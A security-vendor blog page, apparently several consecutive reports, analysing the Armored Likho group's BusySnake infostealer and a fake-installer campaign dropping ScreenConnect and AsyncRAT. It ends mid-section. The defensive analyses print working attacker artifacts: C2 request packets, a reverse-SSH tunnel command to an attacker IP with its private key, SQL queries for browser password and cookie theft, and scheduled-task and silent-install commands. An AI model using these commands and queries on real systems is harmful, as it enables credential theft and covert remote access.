Recently, the AhnLab SEcurity intelligence Center (ASEC) identified instances of phishing emails that were disguised as transaction receipts. The emails impersonated employees of a specific US company. The body of the message stated that a transaction receipt was attached and asked the recipient to review it and confirm whether funds had been deposited into their […]

Introduction

During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.

Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.

Key campaign highlights:

• The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
• The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.

This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.

Initial infection vector

Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.

EXE attachment

In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.

Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.

The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.

The fetched package contains the following components:

• The primary payload: a stealer named module.pyw
• The runtime directory with the components of the PyArmor execution environment
• A Python 3.12 interpreter
• The get-pip.py script: used to install the pip package manager and fetch required dependencies

Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.

With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:

The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:

This task ensures that the payload, BusySnake Stealer, is executed every five minutes.

LNK attachment

In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.

Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:

Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.

Decoy documents

Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.

Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.

As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.

Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.

BusySnake Stealer

The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.

The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.

During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.

Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.

The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.

Handler Name	Description
single_instance_lock	Prevents multiple instances of the stealer from running concurrently on the compromised host.
start_key_clipboard_logger	Steals data from the system clipboard.
start_inventory_background	Enumerates files across the system and logs their metadata into a local database.
extract_hex64_from_file	Attempts to extract 64-character hexadecimal keys from the files.
start_send_documents_priority_background	Forwards user documents to the C2 server.
take_screenshot	Captures screenshots and saves them to the SCREEN_DIR directory.
archive_pngs	Archives captured screenshots and purges previously created archives from the disk.
poll_task	Waits for incoming C2 commands to execute.
ensure_schtask	Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a VBScript launcher and registers a new scheduled task.

Below, we break down the execution logic of the malware’s core functions.

Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.

Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:

[Clipboard] {timestamp} {escaped_clipboard_content}

Additionally, the stealer maps out the local file system using the start_inventory_background function.

This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:

sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'

The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.

Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:

log(
	f'Інвентаризація завершена за {elapsed:.1f}s. '
	f'Нових: {counters["new"]}, '
	f'Старих: {counters["skipped"]}, '
	f'Знайдено: {counters["found"]}'
)

Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.

The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:

GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0

The C2 sign-in form interface is shown below:

Commands are transmitted from the C2 server as function names, which are detailed in the table below:

Function Name	Description
handle_send_screenshots_command	Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates them to the C2 server.
send_and_clear_keystroke_log	Exfiltrates logged keystroke data to the C2 server and clears the log file afterward.
handle_extract_chromium_passwords	Decrypts stored passwords from Chromium-based browser databases using the DPAPI.
handle_extract_firefox_passwords	Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function.
handle_collect_and_send_cookies	Extracts cookies from browser databases and uploads them to the C2 server.
handle_extract_cookies_v7_command	Extracts cookies by installing an extension into the browser.
handle_search_2fa_secrets_command	Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an otpauth:// string is matched, the key is logged to 2fa_secrets.txt.
handle_search_wallet_jsons_command	Sweeps user directories to locate cryptocurrency wallet files with a JSON extension.
handle_split_and_send_tdata_command	Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata directory; it force-terminates the telegram.exe process, stages the files in a temporary directory, compresses them, and exfiltrates the archive to the C2 server.
handle_start_proxy_command / handle_stop_proxy_command	Establishes a reverse SSH tunnel using an SSH command and private key previously received from the C2 server. The second function terminates the connection and purges the key from the host.
handle_remote_control_command	Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the application from GitHub. If already present, it restarts the RustDesk process to prompt the user to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the captured data to the C2 server.

After executing each command, the stealer sends a report back to the C2 server containing the task completion status.

POST /report_status HTTP/1.1
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}

Password exfiltration from Firefox and Chromium-based browsers

When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.

The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.

Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.

SELECT origin_url, username_value, password_value FROM logins

Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.

For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.

The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.

The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.

Cookie extraction

The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.

For Chromium-based browsers, the malware executes the following query:

SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies

For Firefox, it uses this query:

SELECT host, name, value, path, expiry FROM moz_cookies

All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.

In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.

The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:

• manifest.json: details the extension structure and required permissions
• sw.js: contains the primary execution logic for the extension

Once these components are staged, the extension is installed into the browser.

To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.

Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:

http://127.0.0.1:8000/?data_type=c

The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.

Reverse SSH tunneling

The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.

The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:

https://grked[.]online/tunnel/create/?username=[redacted]

If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:

http://grked[.]online:8000/tunnel/create/?username=[redacted]

In response, the server returns data containing all the parameters required to establish the tunnel.

{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":
"BEGIN OPENSSH PRIVATE KEY\								nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQ								sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQsMTd5TjQRA\nAAAEDHFs74hGkvUfzK/gL								hfXdilmEnVbyD8V3Aqj5LRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGcNJQfBCwxN3lONBEAAAAEXJvb3RAZjM3YzRjNjE4NjJjAQIDBA==\n
END OPENSSH PRIVATE KEY\n",
"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380 [redacted]@159.198.32[.]222"}

The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.

To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.

New version of the BusySnake Stealer

During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.

In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.

This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.

We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.

The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:

Handler Name	Endpoint	Request body	Description
poll_commands	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/?bid={Config.BUILD_ID}	–	Awaits new commands for execution
poll_tasks	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/tasks/?bid={Config.BUILD_ID}	–	Awaits Python scripts for execution
set_task_status	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/{task_id}/	{ ‘status’: status, ‘logs’: logs }	Transmits task status updates
upload_file_once	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/files/	{ ‘file’:(file_name,io.BytesIO(text.encode(‘utf8’), ‘text/plain; charset=utf8’) } meta= { ‘name’: file_name, ‘file_type’: file_type, ‘task_id’:task_id }	File exfiltration to the C2

One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.

Attribution

We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.

1. In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
   

   -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p {port}  -R 0.0.0.0:{port} {name}@{IPaddress}

2. The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
   AquilaRAT
   

   /backup/update-subtask-status  
   {
        <..>
        'clientId': clientId,
        'subTasks': [
               <..>
              'taskItemId': taskItemId
        ]
   }

   
   BusySnake Stealer
   

   {Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/

3. Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.

Victims

We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.

Takeaways

An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.

In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.

At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.

Detection by Kaspersky solutions

Kaspersky security solutions, including Kaspersky Endpoint Detection and Response Expert, successfully detect and block the malicious activity associated with these attacks.

Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:

• shell_creation_by_rundll32
• windows_command_shell_usage
• suspicious_powershell_cmd_or_script_spawning

Example of LNK downloader detection in KEDR

The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.

Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.

If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.

Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

First-stage malicious files

5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCF3A39 EXE stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
C019797A00FD56EDB1F468AC0A598510 BAT stager
A0EC7A8E61EFF3F445A7455B3AEF9FBB BAT stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7E52A7579FB BAT stager

90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module

1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader

1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper

894332174F536C2E1EFEDA05CBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader

393B498F2114CABC0B29D5FCD9DC6723 LNK
CF74AC018D158EA2C2CFA1B1D71D95BC LNK
2DFA1D949872C1B2F04952DD3E5F5D8F LNK

BusySnake Stealer

C7622A1EFFA27BBFEE6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CF4DEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FD2BDD8047ADDEE6FDE2F532DE181BFD RAR archive with BusySnake Stealer

С2

winupdate[.]live
arvax[.]xyz
varenie[.]live
lvl99[.]store
onetoken[.]ink
winupdate[.]ink
grked[.]online
ndrt[.]ink
myboard[.]chickenkiller.com
myboard[.]twilightparadox.com

159.198.41[.]140
159.198.75[.]219
159.198.32[.]222
69.67.173[.]153

UPD 03.07.2026: added a package of rules and recommendations that help detect the described malicious activity for companies using our Kaspersky SIEM system.

Introduction

To access compromised systems, threat actors frequently abuse legitimate remote monitoring tools. At first glance, these utilities rarely raise red flags: they are signed with valid digital certificates, often allowlisted under corporate IT policies, and fully supported by OS vendors. However, they grant attackers the ability to harvest data from target devices, drop malware, and move laterally across the network.

During a recent investigation engagement, the Kaspersky Managed Detection and Response (MDR) team discovered the ScreenConnect remote access tool being leveraged to deploy and execute an AsyncRAT payload.

A deep dive into this single incident unraveled a massive campaign distributing malicious installer archives hosted on spoofed websites. These installers masquerade as popular software like OBS Studio, DNS Jumper, DS4Windows, Bandicam, and others. In total, we uncovered more than 90 domain names localized across 10 languages. The malicious archives bundle a legitimate, signed Microsoft install.exe binary alongside a rogue install.res.1033.dll library. It is loaded onto the device via DLL sideloading and deploys the ScreenConnect service, which awaits further instructions from the threat actors.

As a result, what initially appeared to be an isolated ScreenConnect incident served as the starting point for a full investigation into the threat actor’s C2 infrastructure. Every spoofed site we uncovered followed the exact same playbook: dropping a hidden ScreenConnect remote administration service under the guise of a legitimate software installer. This allowed the attackers to maintain control over compromised endpoints, with victims ranging from individual users to organizations.

We continue to break down complex, multi-stage incidents like this in our ongoing The SOC Files series. In this post, we take a deep dive into the technical execution of the ScreenConnect attack and analyze the broader infrastructure under the threat actor’s control.

Initial incident investigation

The investigation was triggered by an alert from Kaspersky MDR, which flagged the creation and execution of suspicious PowerShell and VBS scripts spawned by a ScreenConnect process.

About ScreenConnect

ScreenConnect is a legitimate remote management utility. Kaspersky solutions detect it as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen.

ScreenConnect was running as an Access-type service — enabling direct remote connectivity — with the server explicitly passed via the command line:

Once running, ScreenConnect created and executed a PowerShell script named Fj5NmEsp9EuKrun.ps1:

Below is an excerpt from the contents of the script:

This script configures Microsoft Defender exclusions for the following objects:

• All disks in the system: C:\, D:\, and others
• All root directories on the C:\ drive, as well as the C:\Users\Public directory
• RegAsm.exe process

Additionally, the script disables User Account Control (UAC) prompts by setting the ConsentPromptBehaviorAdmin registry parameter to 0.

Following this setup, the ScreenConnect service goes on to create a VBScript file:

The installer_method3_stream.vbs script creates five files in the C:\Users\Public directory (msgbox.txt, secret_bytes.txt, 1.vb, cap.ps1, and script.vbs) and immediately triggers their execution by launching script.vbs.

This script terminates all active powershell.exe processes to cover its tracks and executes cap.ps1 in a hidden window.

cap.ps1 reads the contents of the secret_bytes.txt file, extracts sequences matching the [SXX- pattern, and converts XX from hexadecimal representation to a byte. It then uses a 0xA7 XOR key to decrypt each byte and inverts the bit order. The resulting byte array yields a fully formed PE binary, which is then reflectively loaded into the CLR.

Within the loaded assembly, the ConsoleApp1.Module1 type contains a static method named Run. The script uses reflection (Reflection.BindingFlags) to resolve a reference to this method and invoke it.

The Run method executes a process hollowing technique (T1055.012), spawning a new RegAsm.exe process with the CREATE_SUSPENDED flag. The deobfuscated and decrypted PE image from secret_bytes.txt is then copied into its address space. As a result, the RegAsm.exe process no longer executes its original code, instead serving as a container for the injected .NET module — which, in this case, is the AsyncRAT remote access Trojan.

To establish persistence, the malware schedules a task named MasterPackager.Updater:

"schtasks" /Create /TN "MasterPackager.Updater" /TR "wscript.exe "C:\Users\Public\script.vbs" " /SC MINUTE /MO 2 /F

This task triggers every two minutes, ensuring that script.vbs — and consequently the entire loader chain — executes even after a system reboot.

Once the entire infection chain successfully executes, the RegAsm.exe process establishes a connection to the C2 domain mora1987[.]work[.]gd.

How ScreenConnect entered the system

A retrospective analysis of the incident allowed us to pinpoint the source of the ScreenConnect installation: a user-downloaded archive named obs-studio-windows-x64.zip.

The archive was downloaded from hxxps://www.studioobs[.]com/, a typosquatted domain mimicking the official site for OBS Studio, a popular open-source screen recording app. This site is present in search engine results; in this specific incident, the user landed on the malicious domain directly from a search query, a vector we analyze in more detail below.

Clicking the download button for the supposedly legitimate software triggers a request to the following URL, from which the archive is fetched:

hxxps://fileget.loseyourip[.]com/obs-studio-windows-full/gVOMs5VZ9BtlcaM

The archive contains a legitimate, Microsoft-signed executable named install.exe (87603EA025623B19954E460ADD532048), renamed to masquerade as the OBS Studio installer, along with a malicious library named install.res.1033.dll. Additionally, the archive includes an Assets folder containing both a copy of the actual software being impersonated and the ScreenConnect utility.

The complete file structure of the archive is organized as follows:

When OBS-Studio-Installer.exe is executed, it loads install.res.1033.dll via DLL sideloading. This library contains the instructions required to install both ScreenConnect and OBS Studio. The deployment relies on native Windows utilities (msiexec.exe), but the attackers renamed the standard MSI packages to look like DLL files:

• Assets\x86\Data\vcredist_x64.dll: ScreenConnect installer
• Assets\x86\Data\vcredist_x86.dll: OBS Studio installer

The contents of the vcredist_x64.dll MSI package are shown below:

The Windows Installer is launched to install ScreenConnect silently in the background without requiring a system reboot:

msiexec.exe /i "C:\Temp\OBS-Studio-Windows-x64\Assets\x86\vcredist_x64.dll" /qn /norestart

Once the installation wraps up, a new service named Microsoft Update Service is created. The command line for this service explicitly defines the connection server as r[.]servermanagemen[.]xyz.

Meanwhile, the MSI package for the actual OBS Studio software runs using a standard graphical user interface.

Expanding the investigation

The attackers’ reliance on the legitimate install.exe binary provided a crucial pivot point for our broader investigation. We discovered that this specific file was being deployed in the wild under a variety of suspicious aliases, including:

• ds4windows.exe
• crosshairx_installer.exe
• obs-studio-installer.exe
• dns jumper.exe
• glary utilities pro.exe
• processhacker-2.39-setup.exe

These file names indicate that the threat actor was disguising their ScreenConnect archives as popular utilities beyond OBS Studio. Among the fakes, we identified counterfeit installers for DS4Windows, DNS Jumper, Glary Utilities, and Process Hacker. Crucially, when we search for these utilities on major search engines, these fraudulent sites frequently appear at the very top of the organic search results. This indicates that the threat actor is actively leveraging SEO techniques to boost traffic to their landing pages.

Spoofed software portals appearing in search engine results

For example, here is how the fraudulent download portal for DNS Jumper looks:

On this page, the download button directs users to the following address:

hxxps://direct-download.giize[.]com/dns-jumper/iopbsr4hymbo7nfa1q7j

Just like the OBS Studio variant, this drops an archive onto the victim’s device with an identical structure: a renamed legitimate install.exe file, a sideloaded library, and an Assets directory containing the promised software packaged alongside ScreenConnect.

Other fraudulent websites that appear in search engine results when querying the corresponding software are designed in a similar fashion.

Spoofed websites used to distribute ScreenConnect

Notably, the vast majority of the fraudulent sites we uncovered are localized into English, Russian, and Chinese. In several instances, the pages were also translated into German, French, Spanish, Arabic, and other languages. This multi-language support underscores the global footprint of the campaign, targeting a broad user base across multiple regions.

Fake domain infrastructure

To distribute ScreenConnect disguised as freeware, the threat actor spun up an extensive network of domain names mapped across three IP addresses. We have categorized these into two distinct infrastructure clusters.

Cluster 1: 162.216.241[.]242 and 198.23.185[.]81

```
162.216.241[.]242
Country: United States
Org name: Dynu Systems Incorporated
```

The connection graph below illustrates the campaign websites tied to IP address 162.216.241[.]242, which hosts the previously mentioned www[.]studioobs[.]com domain.

Looking into the registration dates for the domains on this IP, we found that the threat actor initially attempted to disguise their sites as various gaming portals:

Subsequently, starting in January 2026, they shifted strategy and began registering fake domains designed to mimic popular freeware:

In this specific branch of the ScreenConnect campaign, the malicious archives are hosted on fileget.loseyourip[.]com. Notably, the download resource is hosted on a completely separate provider:

```
198.23.185[.]81
Country: United States
Org name: NOHAVPS LLC
```

Our analysis of this second IP address revealed that it also hosts additional resources tied to the campaign, including fake gaming sites and supplementary download links:

Cluster 2: 2.59.134[.]97

```
2.59.134[.]97
